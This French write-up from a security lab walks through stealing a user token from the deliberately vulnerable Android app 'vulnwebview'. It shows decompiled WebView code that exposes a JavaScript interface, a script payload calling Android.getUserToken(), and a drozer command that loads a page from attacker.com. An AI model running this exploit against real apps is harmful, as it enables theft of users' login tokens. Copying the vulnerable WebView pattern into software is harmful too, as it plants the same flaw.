Vol de token

Reconnaissance

Code vulnérable

   public void loadWebView() {
        WebView webView = (WebView) findViewById(R.id.webview2);
        webView.setWebChromeClient(new WebChromeClient());
        webView.setWebViewClient(new WebViewClient());
        webView.getSettings().setJavaScriptEnabled(true);
        Map<String, String> extraHeaders = new HashMap<>();
        extraHeaders.put("Authorization", getUserToken());
        webView.addJavascriptInterface(new WebAppInterface(this), "Android");
        webView.loadUrl(getIntent().getStringExtra("support_url"), extraHeaders);
    }

Déclaration de l'interface

package com.tmh.vulnwebview;

import android.content.Context;
import android.webkit.JavascriptInterface;

/* loaded from: classes.dex */
public class WebAppInterface {
    Context mContext;

    /* JADX INFO: Access modifiers changed from: package-private */
    public WebAppInterface(Context c) {
        this.mContext = c;
    }

    @JavascriptInterface
    public String getUserToken() {
        return SupportWebView.getUserToken();
    }
}

Cette vulnérabilité est en fait lié à celle vue précèdemment. En effet, on peut voir que le javascript a préalablement été activé via la commande webView.getSettings().setJavaScriptEnabled(true); (ligne 5), qu'un header "Authorization" est généré avec le token de l'utilisateur (ligne 7) puis qu'une interface nommée "Android" a été ajouté (ligne 8).

Enfin, on constate que la clé "support_url" est utilisée pour accéder à la page de support, page de support ayant dans ses en-têtes le token à voler.

Exploitation

Tout comme pour la RXSS vue précèdemment, il nous est possible d'injecter du code javascript dans la fonction. Il nous est donc possible de créer un simple script pour récupérer le token en appelant la fonction "getUserToken()" qui est utilisée dans la déclaration de l'interface du code vunérable.

Charge utile

<script>
document.write("token: " + Android.getUserToken());
</script>

Etapes

  • Création de la charge utile .html

  • Hégergement sur le serveur web attaquant

  • Commande drozer

dz> run app.activity.start --component com.tmh.vulnwebview com.tmh.vulnwebview.SupportWebView --extra string support_url "https://attacker.com/tokenstealer.html"

Dernière mise à jour